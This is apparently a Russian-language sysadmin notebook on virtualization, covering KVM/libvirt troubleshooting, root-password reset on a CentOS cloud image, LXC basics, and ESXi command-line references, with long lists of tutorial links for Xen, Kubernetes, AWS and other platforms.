guestmount -a '/ПУТЬ/ДО/ВИРТУАЛЬНОГО/ДИСКА' -i --ro /ТОЧКА/МОНТИРОВАНИЯ


Настройте последовательную консоль в гостевой ОС Ubuntu
sudo systemctl enable serial-getty@ttyS0.service
sudo systemctl start serial-getty@ttyS0.service

теперь можно подключиться
virsh console ваша_виртуалка

пустой virsh list
virsh -c qemu:///system list
export VIRSH_DEFAULT_CONNECT_URI=qemu:///system



virtio-win
https://www.linux-kvm.org/page/WindowsGuestDrivers/Download_Drivers
https://launchpad.net/kvm-guest-drivers-windows/+download (староваты)
https://fedorapeople.org/groups/virt/virtio-win/deprecated-isos/latest/
https://docs.fedoraproject.org/en-US/quick-docs/creating-windows-virtual-machines-using-virtio-drivers/index.html

https://github.com/UPC/ravada
https://www.altlinux.org/VDI/Ravada

ошибки
virt-manager
Ошибка создания пула: Не удалось определить пул: XML error: name Downloads/iso/ cannot contain '/'
virsh pool-define-as storage dir --target $HOME

https://www.reddit.com/r/archlinux/comments/tuajgs/im_having_an_error_when_trying_to_launch_create_a/
https://github.com/virt-manager/virt-manager/issues/398
XML error: The PCI controller with index='0' must be model='pci-root' for this machine type, but model='pcie-root' was found instead'
Going to "Edit", "Preferences", and checking "Enable XML editing".
Going to "Overview", "XML", and scrolling down to the "<devices>" section.
Replacing the `<controller type="pci" index="0" model="pcie-root"/>` entry with `<controller type="pci" index="0" model="pci-root"/>`.
Deleting all of the other pcie controller entries below that.
If you have an entry like `<controller type="usb" index="0" model="qemu-xhci" ports="15">` and you need USB support then you'll probably (I haven't verified this) have to replace it with something like `<controller type="usb" model="ich9-uhci1" ports="15"/>`.

для этого типа машины контроллер PCI с индексом 0 должен принадлежать к модели "pci-root" но обнаружена запись model="pcie-root"
в свойствах гипервизора меняем Набор микросхем на Q35 или i440FX
если надо UEFI, то при создании "Выберите операционную систему для установки" нужно выбрать "Generic or unknown OS. Usage is not recommended."

qemu efi does not see sda only hda and vda
после установки, например под aarch64, на "Дисковое устройство" sata (sda), при загрузке нет диска в UEFI shell, чтобы он появился (и появилась возможность загрузится), необходимо удалить диск из VM, а затем добавить его как "Дисковое устройство" VirtIO (vda)
https://access.redhat.com/discussions/3158461
возможно нет драйверов virtio-scsi virtio_scsi.ko ваша система, не сможет использовать тип интерфейса virtio-scsi, и ваши дисковые устройства, будут представлены как /dev/vda, vdb, vdc

/dev/sda — это первый обнаруженный диск типа IDE/SATA/SCSI. В данном случае эмулируется (полная виртуализация) гипервизором.
/dev/vda — первый обнаруженный паравиртуализированный драйвер диска. Это быстрее, чем эмулируемые устройства sdX, если оба относятся к одному и тому же диску, поскольку в его работе меньше накладных расходов по сравнению с эмулируемым диском.



ознакомиться
с хабра
proxMox — если в одинокий разраб или небольшая конторка и вам нужно несколько виртуалочек с php/node.js + mysql/postgres

openCloud/openNebula — если вы контора побольше и у вы готовы уделить пару часов в день вашего админа для его обслуживания.

openStack — если у вас куда больше 20 серверов и 10-и админов и вы готовы взять себе еще столько же админов/разрабов чтобы они решали его проблемы либо купить услуги конторы что приготовит его для вас.


Общее
Настольная книга администратора Debian 12.2. Виртуализация

Foreman — менеджер процессов для ваших веб-приложений
https://ru.wikibooks.org/wiki/Puppet
Как стать кукловодом или Puppet для начинающих
Разбираем методы проксирования на основе HAProxy
Балансировка нагрузки с помощью HAProxy

Теория аппаратной виртуализации
Управление виртуальными машинами с помощью VirtualBox
Введение в систему управления виртуальными машинами Vagrant
Управление виртуальными машинами с помощью virsh
Управление виртуальными машинами с помощью virsh
Введение в систему управления виртуальными машинами docker-machine
https://www.bsdstore.ru/ru/about.html
Учебник Kubernetes
Использование средств автоматизации инфраструктуры на виртуальных машинах в Azure
CoreOS — Linux для минималистичных кластеров. Коротко
Разворачиваем Своё Облако в облаке. Установка CoreOS
Автоматическая установка с kickstart (uzverss установка dokuwiki centos php nginx)

Установка и настройка VMmanager 5 на Linux
------------------------------------------------------------------------
Пространства имён
Network namespace - виртуальный сетевой стек в linux
Примеры применения Linux network namespaces (netns)

работа с сетевыми интерфейсами
обзор пользовательских пространств имён Linux
user_namespaces

Глубокое погружение в Linux namespaces Часть 1
Глубокое погружение в Linux namespaces Часть 2
Глубокое погружение в Linux namespaces Часть 3
Глубокое погружение в Linux namespaces Часть 4

Методика безопасности, нейтрализующая угрозу эксплуатации уязвимости ядра linux
Для нейтрализации угрозы эксплуатации уязвимости ядра linux необходимо запретить непривилегированным пользователям создавать новые пространства имен пользователей, установив значение параметра ядра kernel.unprivileged_userns_clone равным "0". Чтобы проверить текущее значение параметра ядра необходимо выполнить команду:

sudo sysctl kernel.unprivileged_userns_clone
cat /proc/sys/kernel/unprivileged_userns_clone

Параметр ядра kernel.unprivileged_userns_clone может принимать следующие значения:
0 — в случае, когда непривилегированным пользователям запрещено создавать новые пространства имен пользователей;
1 — в случае, когда непривилегированным пользователям разрешено создавать новые пространства имен пользователей.
Для того чтобы временно (до перезагрузки системы) запретить непривилегированным пользователям создавать новые пространства имен пользователей, необходимо выполнить команду:

sudo sysctl -w kernel.unprivileged_userns_clone=0

Для того чтобы установленное значение параметра ядра сохранилось после перезагрузки, необходимо:

Добавить в файл /etc/sysctl.d/999-astra.conf следующую строку:

kernel.unprivileged_userns_clone = 0
Это можно сделать следующей командой:

echo "kernel.unprivileged_userns_clone = 0" | sudo tee -a /etc/sysctl.d/999-astra.conf
Перезагрузить параметры ядра, выполнив команду:

sudo sysctl --system

------------------------------------------------------------------------


средства конвертирования
virt-p2v
готовые образы virt-p2v для Virtuozzo virtual machine
VMware vCenter Converter Standalone
Disk2vhd

образы OS

всякие шероховатости
https://help.ubuntu.com/community/UEC/Images

CentOS 7 cloud kvm image password
https://access.redhat.com/discussions/664843

1) Переходим в /var/lib/libvirt/images/
2) sudo virt-sysprep -a Centos-7-x86_64-GenericCloud.qcow2 --root-password password:PASSW0RD --uninstall cloud-init
где PASSW0RD это пароль root
3) Создаем виртуальную машину на основе этого образа
4) Логинимся со своим паролем

либо
$ sudo apt install libguestfs-tools
# guestfish --rw -a ./CentOS-7-x86_64-GenericCloud.qcow2
><fs> run
><fs> list-filesystems
><fs> mount /dev/sda1 /
><fs> vi /etc/shadow

root:!!:17667:0:99999:7:::
удалить !! между ::
можно вставить сгенерированный пароль
# openssl passwd -1 changeme
$1$QiSwNHrs$uID6S6qOifSNZKzfXsmQG1

отмонтировать
><fs> umount /dev/sda1
выйти
><fs> quit


сброс пароля
http://www.oldnix.org/reset-password-root-linux/

не ставится docker на ubuntu 18.04
sudo vi /etc/apt/sources.list
deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic nightly


витруальный сетевой интерфейс
https://uzverss.livejournal.com/87945.html

запускается витруальный сетевой интерфейс

sudo virsh net-start default

который можно погасить командой

sudo virsh net-destroy default

посмотреть запущенный вирт.сетевые интерфейсы можно командой

sudo virsh net-list


сами настройки виртуального дефолтного сетевого интерфейса находится в файле
/etc/libvirt/qemu/networks/default.xml

и представляют собой запись



можно создать свой вирт. сетевой интерфейс, со своими настройками, напр:

sudo nano /etc/libvirt/qemu/networks/def1.xml



затем

sudo virsh net-create /etc/libvirt/qemu/networks/def1.xml




Vagrant
https://www.vagrantup.com/
http://help.ubuntu.ru/wiki/vagrant
Знакомимся с инструментом Vagrant
Что такое Vagrant
Начало работы с Vagrant и зачем он вообще нужен
Vagrant. Установка и первый запуск
Установка и использование Vagrant на Debian
Vagrant and Libvirt with KVM or QEMU
Vagrant для малышей, или как на Windows легко получить настроенный сервер для разработки веб-приложений
записки по Vagrant


Qemu-KVM Proxmox oVirt

XEN
https://updates.xcp-ng.org/isos/
http://help.ubuntu.ru/wiki/xen
https://wiki.archlinux.org/index.php/Xen_(Русский)
http://xgu.ru/wiki/Xen
Xen гипервизор
Xen server своими руками. Часть первая
Xen server своими руками. Часть вторая.
Портирование собственной ОС на Xen
Установка и настройка гипервизора Xen (монитора виртуальных машин) с пробросом видеокарты в гостевую ОС (Windows)
Миграция домашнего сервера с Hyper-V на Xen Project на Debian
PT Sandbox Установка ОС и гипервизора Xen на дополнительный узел


Ganeti
http://www.ganeti.org/
http://docs.ganeti.org/ganeti/current/html/install.html
https://dsa.debian.org/howto/install-ganeti/
Управление кластером Xen с помощью Ganeti на Debian Lenny


VMware

Hyper-V
Disk2vhd
Как превратить физический сервер в ВМ на платформе Hyper-V
Переносим Windows системы из физической в виртуальную среду
P2V конвертация физического контроллера домена на базе Windows Server 2012 R2 в виртуальную машину Hyper-V Generation 2
Hyper-V перенос виртуальной машины на другой диск
Экспорт и импорт виртуальной машины Hyper-V
Индекс производительности Windows (Windows Experience Index)

https://github.com/rust-vmm/mshv
https://github.com/hyperlight-dev/hyperlight
https://github.com/cloud-hypervisor/cloud-hypervisor

uzverss powershell команды управления виртуальными машинами

Не удается подключить удаленный рабочий стол к Hyper-V Server 2012 R2
http://it-student.com.ua/windows/tips/reshenie-hyper-v-server-2012-r2-ne-rabotaet-rdp.html

Иногда с чистой установки Hyper-V 2012 Server R2 возникает проблема с удаленным подключением. Проблема заключается в следующе - система установлена, подключения к RDP разрешены, но возникает ошибка при подключении к удаленному рабочему столу.

Проблема заключается в блокировке фаерволом подключений. Для того, чтобы разрешить удаленные подключения к вашему Hyper-V серверу выполните в cmd:

cmd
powershell
Enable-NetFirewallRule

После этого, подключение должно пройти. Если этого не случилось - явно разрешите подключения:

Enable-NetFirewallRule -Name "RemoteDesktop-UserMode-In-TCP"
Enable-NetFirewallRule -Name "RemoteDesktop-UserMode-In-UDP"



VirtualBox
https://www.virtualbox.org/
https://download.virtualbox.org/virtualbox/
Удаленный доступ к виртуальной машине virtualbox. Подключение к виртуальной машине
Как установить Windows 11 и Kali Linux на одну флешку
как залить образ с виртуалки на железо
https://github.com/alex5250/replace-tv-os
из .vdi мы сделаем .img образ
VBoxManage clonemedium --format RAW Debian.vdi debian.img
Гружусь с livecd, и сожму основной раздел до 10GB удаляю swap и создаю новый, перезагружаюсь lsblk -f узнаем новые UUID разделов правлю /etc/fstab, опять гружусь в livecd и корректирую размер образа
sudo truncate --size=$[(22978559+1)*512] 'debian.img'
затем подключаюсь к железке двумя флешками, загружаюсь с livecd, заливаю полученный .img с помощью dd




bhyve – The BSD Hypervisor
https://clonos.tekroutine.com/download.html
https://wiki.freebsd.org/bhyve
https://www.bsdstore.ru/ru/bhyve.html
https://www.bsdstore.ru/ru/bhyve_cbsd_howto.html
https://github.com/churchers/vm-bhyve
FreeBSD bhyve виртуализация
Bhyve virtual machines under vm-bhyve
Пчёлки в деле, или Запускаем Windows на BSD Hypervisor
MyBee — FreeBSD ОС и гипервизор bhyve как частное облако
https://myb.convectix.com/download/
https://www.bsdstore.ru/ru/about.html
Гипервизор на стероидах: FreeBSD + ZFS + cbsd


BOSH
http://bochs.sourceforge.net/
https://sourceforge.net/projects/bochs/files/bochs/


WebVM
https://github.com/leaningtech/webvm
https://leaningtech.com/webvm/
WebVM: виртуальные машины x86 без сервера в браузере


OpenNebula
OpenNebula
Строим свое собственное отказоустойчивое облако на базе OpenNebula с Ceph, MariaDB Galera Cluster и OpenvSwitch
Управление облаком на open-source софте
Колыбель облаков


ownСloud
http://help.ubuntu.ru/wiki/owncloud
OwnCloud client для Ubuntu 16.04
Установка owncloud Ubuntu 16.04
Свое облачное хранилище на основе ownCloud
Релиз ownCloud 9.0 — opensource альтернативы Dropbox и другим облачным хранилищам
Как установить OwnCloud на CentOS 7


OpenStack
Знакомство с OpenStack архитектура, функции, взаимодействия
OpenStack — разворачиваем «руками» Kilo
DevStack как инструмент
Боль и страдания Openstack


OpenVZ
https://mirrors.openvz.org/
Руководство по созданию и управлению контейнерами и виртуальными машинами на базе OpenVZ 7
https://www.altlinux.org/OpenVZ
Контейнерная виртуализация при помощи OpenVZ
Виртуализация с OpenVZ
Система виртуализации OpenVZ Часть 1.Введение
Система виртуализации OpenVZ Часть 2.Работаем с контейнерами
Установка и настройка OpenVZ на Centos 6
АйТи бубен OpenVZ


Ansible
Настройка LEMP-сервера с помощью Ansible для простых проектов. Часть первая: знакомство с Ansible
Настройка LEMP-сервера с помощью Ansible для простых проектов: практический курс. Часть первая
Как создавать образы Docker с помощью Ansible в Ubuntu 20.04
https://github.com/ZeroBot-Dot/Build-Docker-Images-with-Ansible


Kubernetes
https://kubernetes.io/
https://kubernetes.io/ru/docs/home/
https://kubernetes.io/docs/setup/minikube/
https://microk8s.io/#quick-start
Kubernetes
Учебник Kubernetes
Основы Kubernetes
Kubernetes: разбираемся с системой управления контейнерами
Быстрое введение в Kubernetes
Поднимаем кластер Kubernetes из одной ноды под Linux
Kubernetes на голом железе за 10 минут
Установка Kubernetes в Unix/Linux
Kubernetes на голом железе за 10 минут
Разворачиваем Kubernetes на десктопе за несколько минут с MicroK8s
Минимально жизнеспособный Kubernetes
Полноценный Kubernetes с нуля на Raspberry Pi
Разворачиваем среду для работы с микросервисами. Часть 1 установка Kubernetes HA на bare metal (Debian)

PuppetConf 2016. Kubernetes для сисадминов. Часть 1
PuppetConf 2016. Kubernetes для сисадминов. Часть 2
PuppetConf 2016. Kubernetes для сисадминов. Часть 3

DEVOXX UK. Kubernetes в продакшене: Blue/Green deployment, автомасштабирование и автоматизация развертывания. Часть 1
DEVOXX UK. Kubernetes в продакшене: Blue/Green deployment, автомасштабирование и автоматизация развертывания. Часть 2

Как эффективнее использовать kubectl: подробное руководство


AWS и Terraform
Установка AWS CLI в Unix/Linux
Установка terraform в Unix/Linux
Работа с AWS ELB через командную строку в Unix/Linux
Работа с AWS S3 через командную строку в Unix/Linux
Работа с AWS EC2 через командную строку в Unix/Linux
Работа с AWS IAM через командную строку в Unix/Linux
Восстановить EC2 данных с AWS snapshot-а

Работа с AWS IAM и Terraform в Unix/Linux
Работа с AWS VPC и Terraform в Unix/Linux
Работа с AWS S3 и Terraform в Unix/Linux
Работа с AWS EC2 и Terraform в Unix/Linux
Работа с AWS ASG(auto scaling group) и Terraform в Unix/Linux
Работа с AWS ELB и Terraform в Unix/Linux
Работа с AWS Route53 и Terraform в Unix/Linux
Работа с AWS RDS и Terraform в Unix/Linux
Работа с AWS SNS и Terraform в Unix/Linux
Работа с AWS SQS и Terraform в Unix/Linux
Работа с AWS KMS и Terraform в Unix/Linux
Работа с AWS NLB и Terraform в Unix/Linux
Работа с AWS CloudWatch и Terraform в Unix/Linux
Работа с AWS ALB и Terraform в Unix/Linux
Работа с AWS MQ broker и Terraform в Unix/Linux
Работа с AWS EFS и Terraform в Unix/Linux


Nomad
https://www.nomadproject.io/
https://github.com/hashicorp/nomad
Начало работы с Nomad

https://podman.io/
https://buildah.io/

Docker

LXC
https://github.com/lxc/lxc
https://linuxcontainers.org/
http://help.ubuntu.ru/wiki/руководство_по_ubuntu_server/виртуализация/lxc
https://linuxcontainers.org/ru/lxc/
https://ivirt-it.ru/tag/lxc/
https://ivirt-it.ru/lxc-linux-containers-tutorial/
LXC 1.0.
LXD 2.0.
LXC – шпаргалка по командам (утилитам)
Введение в систему управления контейнерами LXC
Контейнеризация при помощи LXC
Туториал по контейнеризации при помощи LXC
LXC для разработчика
Linux-контейнеры дома: зачем и как
Установка и настройка LXC на Debian 8
Создание LXC-контейнеров с общей файловой базой
Установка и настройка LXC в CentOS 7
Установка и настройка LXC на Centos7
Установка и настройка lxc контейнеров на Centos 7
Работа с LXC-контейнерами в Ubuntu Linux
Как настроить непривилегированный контейнер LXC без перезагрузки?
Запуск Docker в LXC 2

LXC Web Panel improved for lxc

Первый контейнер.
http://vasilisc.com/lxc-1-0-first-ubuntu-container
Предположим, что вы так или иначе используете последнюю версию LXC, хотелось бы верить что применяя пакеты deb.

Создаём контейнер p1, используя шаблон ubuntu и такую же архитектуру и версию как и хост. Использование "-- --help" выведет список всех доступных опций.
sudo lxc-create -t ubuntu -n p1

Запуск контейнера в фоне.
sudo lxc-start -n p1 -d

Вход в контейнер одним из различных путей:

Присоединение к консоли контейнера (ctrl-a + q для отсоединения)
sudo lxc-console -n p1
Запуск bash напрямую в контейнере, минуя логин. Требуется ядро >= 3.8.
sudo lxc-attach -n p1
SSH в контейнер. Логин ubuntu, пароль ubuntu.
sudo lxc-info -n p1
ssh ubuntu@IP-из-lxc-info

Остановка контейнера одним из различных путей:

Остановка контейнера из самого контейнера.
sudo poweroff
Корректная остановка контейнера из хоста.
sudo lxc-stop -n p1
Грубое убийство контейнера из хоста.
sudo lxc-stop -n p1 -k
Вот и готов первый контейнер. Как и обещано, в Ubuntu - всё просто! Ядра обладают поддержкой всего что нужно для LXC и контейнер использует bridge и DHCP по умолчанию


эмуляторы
https://www.winehq.org/
http://www.kegel.com/wine/winetricks
https://www.codeweavers.com/products/
https://www.playonlinux.com/en/
http://etersoft.ru/products/wine
------------------------------------------------------------------------
https://anbox.io/
https://www.darlinghq.org/
------------------------------------------------------------------------
https://www.cygwin.com/
https://babun.github.io/
http://mingw.org/
https://sourceforge.net/p/mingw-w64/wiki2/MSYS/
http://mingw-w64.org/doku.php
https://www.msys2.org/
https://github.com/msys2
http://gnuwin32.sourceforge.net/
https://blogs.msdn.microsoft.com/wsl/
https://github.com/microsoft/WSL
https://code.google.com/archive/p/microemu/downloads

Установка MinGW/MSYS и настройка окружения для разработчика
Устанавливаем эмулятор Android 7.1 под Kali Linux
Запуск Java-приложений для телефона в Ubuntu
j2me в ubuntu

разное
Сеть однородных линуксов [reoser]
Микрооблако. Второй шаг. Создание виртуальной сети
Загрузка Linux с VHD на компьютере с UEFI
Проект VBEMP 9x Универсальный VESA/VBE Видеодрайвер (для архитектуры Windows 9x)

VMware

Apr. 29th, 2018 03:30 pm



VMware
http://www.vmware.com/resources/compatibility/search.php
https://www.v-front.de/p/esxi-customizer.html
Download VMware vSphere Hypervisor (ESXi)
ESXi Embedded Host Client
https://flings.vmware.com/
https://softwareupdate.vmware.com/cds/vmw-desktop/ws/

ликбез
https://www.stseprounof.org/category/deploying-servers/vcenter_server/
http://www.delphiplus.org/administrirovanie-vmware-vsphere/index.html
Как установить гипервизор ESXi. Часть 1.
Как настроить гипервизор ESXi. Часть 2. Управляющая сеть.
Как добавить сетевой адаптер к виртуальному коммутатору vSphere
Загрузка и установка vSphere Client. Как настроить гипервизор ESXi. Часть 3.
Что такое рабочий стол vSphere Client. Экскурсия с картинками.
Как создать виртуальный коммутатор vSphere
Как настроить службу времени гипервизора ESXi. Как настроить гипервизор ESXi. Часть 4
Как добавить лицензию ESXi. Как настроить гипервизор ESXi. Часть 5
Как добавить пользователя ESXi. Как настроить гипервизор ESXi. Часть 6
Как подключить NAS к гипервизору ESXi
Как создать виртуальную среду VMware vSphere.
Как создать виртуальную машину VMware vSphere
Как установить операционную систему на виртуальную машину VMware vSphere
Как сделать gateway сервер (шлюз) на Linux для центра обработки данных
Как настроить gateway сервер (шлюз) на Linux для VMware vSphere датацентра
Promiscuous mode
Vmware настройка сети Esxi.

https://techexpert.tips/ru/category/vmware-ru/
------------------------------------------------------------------------
vmware.com Решено: Виртуальный Fortinet с тегами VLAN
Пример конфигурации тегов VLAN виртуальной машины Windows (режим VGT) в ESX (1004252)
Настройка режима виртуальной гостевой метки VLAN (VGT) на распределенном коммутаторе vNetwork (1010733)
Конфигурация VLAN на виртуальных коммутаторах, физических коммутаторах и виртуальных машинах (1003806)
------------------------------------------------------------------------
VMware настройка сети
Vmware ESXi 6 - Настройка Магистральные (Cisco Коммутатор)
Как работают виртуальные сети VLAN на хостах VMware ESX / ESXi
Магистраль между Vmware ESXi и коммутатором Cisco
------------------------------------------------------------------------
Обновление VMware vSphere Hypervisor ESXi 5.x до 6.0
VMware: обновляемся с ESXi 4.1 до ESXi 5.0
Upgrade Free VMware ESXi 4.0 to ESXi 5.0
Установка лицензии на esxi (VMware Evaluation Notice)
как установить бесплатную лицензию VMware на VMware ESXi
Upgrading Datastores From VMFS3 to VMFS5
Установка VMware ESXi 5.5 на USB-накопитель. Часть 2. Установка
https://bga68.livejournal.com/tag/vmware
Несколько полезностей при работе с VMware vCenter Server Appliance (vCSA).
Как перенести физическую машину в виртуальную среду для подключения к Virtualization Station, используя VMware vCenter Converter?
Перенос физического сервера Windows на виртуальную машину VMware
Заметки и рекомендации по переносу физических серверов в виртуальную среду VMware vSphere (P2V) с помощью vCenter Converter Standalone 5.0.
Конвертирование или миграция физических серверов на VMware ESXi через VMware Converter Standalone
Как виртуализовать физический сервер с помощью VMware vCenter Converter Standalone 5.x.x
Ошибка an error occurred during reconfiguration при конвертировании физического сервера в виртуальный
Как перенести в облако систему с физического сервера либо из другой виртуализации (Hyper-V)
Extrasphere - бесплатный vMotion для виртуальных машин на бесплатных VMware ESXi.
обновленная версия Extrasphere 2.0 - новые возможности.
Бэкап VM ESXi средствами Bareos
Транкинг VLAN на виртуальном Swicth для VMware ESXi
Пример конфигурации тегов VLAN виртуальной машины (режим VGT) в ESX

Как пользоваться командной строкой в VMWare ESXi?
VMware vSphere, ESX Всякие полезности из командной строки.
подключение-флешки-к-хосту-esxi
Интеграция драйверов в установочные образы ESXi

Рутокен не работает на ESXi

VMware Host Client HTML5
встроенный хост-клиент HTML5 для ESXi
Мал золотник, да дорог: в двух словах о VMware Host Client
Обходной путь ESXi 5.x или ESXi 6.0 (обновленный с ESXi 5.x):
Шаг 1 - SSH к вашему хосту ESXi и откройте следующий файл конфигурации:

/etc/vmware/rhttpproxy/endpoints.conf

Шаг 2 - Удалите следующую строку и сохраните изменения

/ui local 8308 redirect allow

Шаг 3. Перезапустите обратный прокси-сервер, выполнив следующую команду:

/etc/init.d/rhttpproxy restart

Шаг 4. Откройте браузер по следующему URL-адресу: https://[ESXI-HOST]/ui/ и обратите внимание на дополнительный завершающий «слеш» в конце URL-адреса. Это обязательно, иначе страница клиента Embedded Host не будет загружена должным образом.

cd /tmp
wget http://download3.vmware.com/software/vmw-tools/esxui/esxui-offline-bundle-5.x-10692217.zip
esxcli software vib install -d /tmp/esxui-offline-bundle-5.x-10692217.zip -f

vi /etc/vmware/rhttpproxy/endpoints.conf
Operation not permitted

cp /etc/vmware/rhttpproxy/endpoints.conf /etc/vmware/rhttpproxy/endpoints.conf-old
cp /etc/vmware/rhttpproxy/endpoints.conf /tmp
ls -l /tmp/endpoints.conf
chmod +w /tmp/endpoints.conf
cp /tmp/endpoints.conf /etc/vmware/rhttpproxy/endpoints.conf
chmod -w /etc/vmware/rhttpproxy/endpoints.conf
/etc/init.d/rhttpproxy restart


Работа с VMware через командную строку

vSphere CLI
VMware vSphere, ESX Всякие полезности из командной строки.

http://winitpro.ru/index.php/2018/04/18/poleznye-komandy-vmware-esxi/
esxcli esxcli command list - список команд
vim-cmd vmsvc - список команд работы с вирт.машиной
esxcli system version get — узнать версию (номер) инсталлированной версии VMware ESXi

1. Работа с esxi-хостом:
Команда reboot перезагружает esxi-хост.
Команда poweroff выключает esxi-хост.
Команда esxcli system version get выведет номер установленной версии VMware ESXi.
Команда esxcli hardware pci list | more выведет полную информацию обо всех установленных PCI устройствах.
Команда lspci выведет краткую информацию обо всех установленных PCI устройствах.
Команда esxtop — top для vmware esxi ( быстрые клавиши для переключения дисплея: c:cpu, i:interrupt, m:memory, n:network, d:disk adapter, u:disk device, v:disk VM, p:power mgmt)
Команда vmkerrcode -l — расшифровка кодов ошибок.
Команда esxcfg-nics -l — информация о сетевых карточках.
Команда esxcfg-vswitch -l — информация о виртуальных коммутаторах.
Команда dcui — работа с консолью сервера через ssh сессию.
Команда chkconfig -l — статус работы демонов.
Команда esxcli hardware memory get — вывод информации об количестве установленной памяти.
Команда esxcli software vib list — список установленных vib-пакетов.
Команда esxcli network ip connection list — состояние активных соединений (аналог netstat).
Команда esxcli storage vmfs extent list — информация о томах VMFS, подключенных к хосту.
Команда esxcli hardware clock (get/set) — Получение/установка времени esxi-хоста.

esxcli system welcomemsg set — Получить текст и изменить приветственное сообщение ESXi
esxcli system settings advanced list | grep smth — Поискать что-нибудь в Advanced Settings хоста
esxcli hardware bootdevice list — Порядок загрузки с устройств
esxcli iscsi adapter discovery rediscover — Сканирование iSCSI-адаптеров
esxcli storage core adapter rescan [-A | -all] — Рескан iSCSI

2. Работа с виртуальными машинами:
vim-cmd vmsvc/getallvms — вывод информации обо всех ВМ на данной машине (Vmid, Name, File, Guest OS, Version, Annotation)
vim-cmd vmsvc/power.getstate 1 — включена/выключена ВМ с Vmid 1.
vim-cmd vmsvc/power.on 1 — включить ВМ с Vmid 1.
vim-cmd vmsvc/power.off 1 — выключить (по питанию) ВМ с Vmid 1.
vim-cmd vmsvc/power.reset 1 — перезагрузка (аналогично нажатию клавиши RESET на реальном сервере) ВМ с Vmid 1.
vim-cmd vmsvc/power.shutdown 1 — корректное выключение ВМ с Vmid 1. Действует только, если установлены VMware Tools.
vim-cmd vmsvc/power.reboot 1 — перезагрузка ВМ с Vmid 1. Действует только, если установлены VMware Tools.
vim-cmd vmsvc/get.summary 1 — получение полной информации о ВМ с Vmid 1.
vim-cmd vmsvc/get.summary 1 | egrep ‘(name|power|ip)’ — получение отфильтрованной информации о ВМ с Vmid 1. Выводится имя, состояние питания, IP-адрес.
esxcli vm process list — получить список ВМ с их World ID
esxcli vm process kill —type=[soft,hard,force] —world-id=WorldID — убиваем разными способами ВМ с нужным WorldID (помогает от зависших и не отвечающих в vSphere Client ВМ)

vim-cmd vmsvc/power.getstate статус питания виртуальной машины с указанным ID. Увидеть список ВМ и их ID вы можете при помощи команды;
vim-cmd vmsvc/getallvms — Выключить питание виртуальной машины;
vim-cmd vmsvc/power.off vmid — Включить питание виртуальной машины;
vim-cmd vmsvc/power.on vmid — Перезагрузить виртуальную машину;
vim-cmd vmsvc/power.reboot vmid — Удалить файлы виртуальной машины;
vim-cmd vmsvc/destroy vmid — Удалить файлы виртуальной машины;
vim-cmd vmsvc/power.shutdown — Выключение виртуальной машины (shutdown guest);
vim-cmd vmsvc/power.reset — Перезагрузка виртуальной машины;
vim-cmd vmsvc/get.summary — Общая информация о виртуальной машине;
vim-cmd solo/registervm /vmfs/vol/datastore/dir/vm.vmx — Подключить виртуальную машину;
vim-cmd vmsvc/unregister vmid — Убрать виртуальную машину из гипервизора;
vim-cmd vmsvc/tools.install vmid — Установка vmware tools;
vim-cmd hostsvc/net/info — информация о сети гипервизора;
vim-cmd hostsvc/maintenance_mode_enter — Переключить хост в режим обслуживания;
vim-cmd hostsvc/maintenance_mode_exit — Выйти из режима обслуживания;
chkconfig -l — Показать службы запущенные на гипервизоре;
esxtop — Список процессов;
vmkerrcode -l — посмотреть vmkernel ошибки;
esxcfg-info — Посмотреть информацию о хосте;
esxcfg-nics -l — Посмотреть информацию о сетевых адаптерах;
esxcfg-vswitch -l — Посмотреть информацию о виртуальных сетевых адаптерах;
dcui — Стартовая консоль ESXI по ssh;
vsish — Vmware интерактивная консоль;
cat /etc/chkconfig.db — посмотреть состояние сервисов на хосте;
/sbin/services.sh restart — перезагрузить все сервисы на хосте;
vmkload_mod --list — Показать загруженные драйвера;
vmkload_mod -s /mod/your_driver — Показать параметры драйверов;
vmkfstools -i /vmfs/volumes/san_vmfs/my_vm/large_disk.vmdk -d thin /vmfs/volumes/san_vmfs/my_vm/new_thin_disk.vmdk — Конвертировать существующий диск в thin формат;

авария, сеть, доступ
Через локальное БИОС-подобное меню также можно открыть доступ к локальной командной строке, пройдите Troubleshooting Options ^ Enable Local Tech Support. После нажатия Enter название пункта меню должно поменяться на Disable Local Tech Support - это значит, что локальная командная строка включена, а этим пунктом ее можно отключить обратно.

Так или иначе разрешив доступ к локальной командной строке, нажмите Alt+F1 и авторизуйтесь.
esxcfg-nics -l — Посмотреть информацию о сетевых адаптерах;
esxcfg-vswitch -l — Посмотреть информацию о виртуальных сетевых адаптерах;
esxcfg-vswitch -U vmnic0 vSwitch0 - отключения сетевого адаптера из виртуального свитча
esxcfg-vswitch -L vmnic0 vSwitch0 - подключение сетевого адаптера к виртуальному свитчу

выполните команду, чтобы увидеть текущее назначение псевдонимов местоположениям устройства:
localcli --plugin-dir /usr/lib/vmware/esxcli/int/ deviceInternal alias list


How to manage VLANs and virtual switches on ESXi/vSphere
нажмите F2 и получите доступ к консоли ESX (i), чтобы включить понимание архитектуры VLAN . Выберите Настроить управление Netowrk:
Включите маркировку VLAN, указав 4095 в качестве значения:
Укажите IP-адрес для сетевого адаптера управления:
Определите DNS- серверы:
Нажмите Esc и подтвердите:
Теперь ваш ESX (i) знает архитектуру VLAN .


esxcfg-route -l
esxcli network ip netstack list
esxcli network ip interface ipv4 get

начиная с 5.5 можно создать пользовательский сетевой стек (для роутинга)
esxcli network ip netstack add -N “Net2”
проверить
esxcli network ip netstack get -N “Net2”


esxcli network ip interface ipv4 set --interface-name=vmk1 --type=static --ipv4=192.1 68.100.222 --netmask=255.255.255.0 --gateway=192.168.100.1



ESXi Особенности работы:
1) В виртуальных свитчах по-умолчанию запрещена передача VLAN(но возможна QinQ). Для того, чтобы разрешить прохождение VLAN необходимо зайти в Configuration - Networking -> Выбрать нужный свитч и нужную подсеть -> Edit -> General -> VLAN ID -> All(4096).

2)На виртуальных свитчах иногда не проходят vrrp пакеты.Для прохождения выставить в настройках vswitch режим promisc.


ошибки
https://wiert.me/2019/05/06/trying-to-temporarily-lower-the-esxi-acceptance-level-when-installing-vibs/
https://www.virtuallyghetto.com/2015/05/ghettovcb-vib-offline-bundle-for-esxi.html
esxcli software acceptance set --level=CommunitySupported
если пишет ошибку
Unable to set acceptance level of community due to installed VIBs virtuallyGhetto_bootbank_ghettoVCB_1.0.0-0.0.0 having a lower acceptance level.

то ставим с ключом -f
esxcli vib install -v /full/path/to/vghetto-ghettoVCB.vib -f
esxcli software vib install -d /tmp/esxui-offline-bundle-5.x-10692217.zip -f

